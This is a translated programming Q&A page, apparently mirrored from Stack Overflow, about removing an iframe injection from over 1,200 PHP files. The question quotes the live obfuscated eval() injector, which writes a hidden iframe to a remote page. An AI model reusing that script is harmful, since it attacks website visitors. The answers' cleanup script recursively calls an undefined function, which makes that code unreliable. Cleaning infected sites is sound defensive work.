如何从我网站上的所有 php 文件中删除 iframe 病毒

Posted

技术标签:

【中文标题】如何从我网站上的所有 php 文件中删除 iframe 病毒【英文标题】:How can i remove an iframe virus from all of php files on my website 【发布时间】:2016-01-08 01:58:42 【问题描述】:

我有一个关于从我的 php 文件中删除病毒代码的问题。我的服务器中有 1200 多个 php 文件,每个 php 文件都被病毒感染。病毒代码将此行添加到 html 输出

这里是病毒代码:

<tag5479347351></tag5479347351><script>eval(function(p,a,c,k,e,d)e=function(c)return c.toString(36);if(!''.replace(/^/,String))while(c--)d[c.toString(a)]=k[c]||c.toString(a)k=[function(e)return d[e]];e=function()return'\\w+';c=1;while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])return p('1 k=" i=\\"0\\" g=\\"0\\" j=\\"0\\" f=\\"c://d.h.n.l/o.m\\">";1 5="<8";1 7="p";1 4="e";1 b="</8";1 a="e>";2.3(5);9(2.3(7+4+k+b),6);9(2.3(4+a),6);',26,26,'|var|document|write|k02|k0|1000|k01|if|setTimeout|k22|k2|http|125||src|height|230|width|board||248|php|58|tag1|ram'.split('|'),0,))</script><tag5479347352></tag5479347352>

每个 php 文件中的上述代码。如何从每个 php 文件中删除此病毒代码?有没有快速的方法?

【问题讨论】:

这是怎么发生的? 我不知道,我们的服务器直接关闭,因为在 iframe 代码中检测到木马病毒,然后我们删除了该代码,然后自动再次显示该代码。请帮帮我 我投票结束这个问题,因为它属于网站管理员网站。 @WildaSagita 你用的是什么网络服务器? 没有简单的解决方案。您需要做的第一件事是修复网站中导致感染的安全问题。可能是您没有进行修补/升级。它可能是您的 PHP 代码中的特定内容。修复安全漏洞后,您可以尝试清除病毒代码。但这不是寻求帮助的正确地方。 【参考方案1】:

你可以使用:

removeVirus.php

<?php

foreach(rglob("*.php") as $virusFile)

    $withVirus = file_get_contents($virusFile);
    $withoutVirus = preg_replace('%<tag\d+>.*</tag\d+>%', '', $withVirus);
    file_put_contents($virusFile, $withoutVirus);


function rglob($pattern, $flags = 0)
// forked from https://github.com/rodurma/PHP-Functions/
    // blob/master/glob_recursive.php
  $files = glob($pattern, $flags);

  foreach (glob(dirname($pattern).'/*', 
    GLOB_ONLYDIR|GLOB_NOSORT) as $dir)
    $files = array_merge($files, glob_recursive
        ($dir.'/'.basename($pattern), $flags));
  
  return $files;


用法:

removeVirus.php 放在您网站的 root 上,并以 root(或文件所有者)的身份从 shell 执行

php removeVirus.php

注意事项:

1 - 我已经在我的服务器上测试了包含病毒的 10 个 php 文件的代码,它按预期工作。

2 - 确保找到黑客的来源并相应地修补您的系统。

【讨论】:

【参考方案2】:

如果您提供的“病毒代码”字符串文字嵌入在每个 php 文件中,则可以通过命令行将其删除。打开 shell 应用程序(Windows 的命令提示符或基于 UNIX/UNIX 的操作系统的终端,例如 OS X、Linux 等)。在将病毒代码传递给 shell 之前,您需要对其进行转义,但是理想的方法可能因您的系统而异。执行以下命令:

cd /path/to/your/infected/php/files

sed -i 's/insert_escaped_virus_code_here//g' *

附:如果尚未安装 see,请按照 OS X 和 Windows 的这些说明进行操作。

【讨论】:

她要求一种同时删除它们的方法,而不是一个一个打开文件并手动删除它们。 使用正则表达式;上面有another thread o.O 不是在 PERL 中吗? 该页面上有多个建议,也有如何通过command line进行操作的答案 从字面上看,唯一的建议是“使用这个”、“使用那个”,假设你已经知道在哪里使用它,并且假设你已经知道如何使用它们'重新建议使用。

以上是关于如何从我网站上的所有 php 文件中删除 iframe 病毒的主要内容,如果未能解决你的问题,请参考以下文章

启用 Chrome 插件后如何从我网站上的图像中隐藏 Pin It 按钮

如何从我的网站页面中删除 .html? [复制]

如何使用 PHP Composer 从 Laravel 中删除一个包?

使用 .htaccess 文件后,从我网站上的一个页面重定向到另一个页面会导致 404 错误

如何在php中删除我网站的所有cookie

跟踪图像文件的链接或引用并删除未使用的文件(PHP/数据库)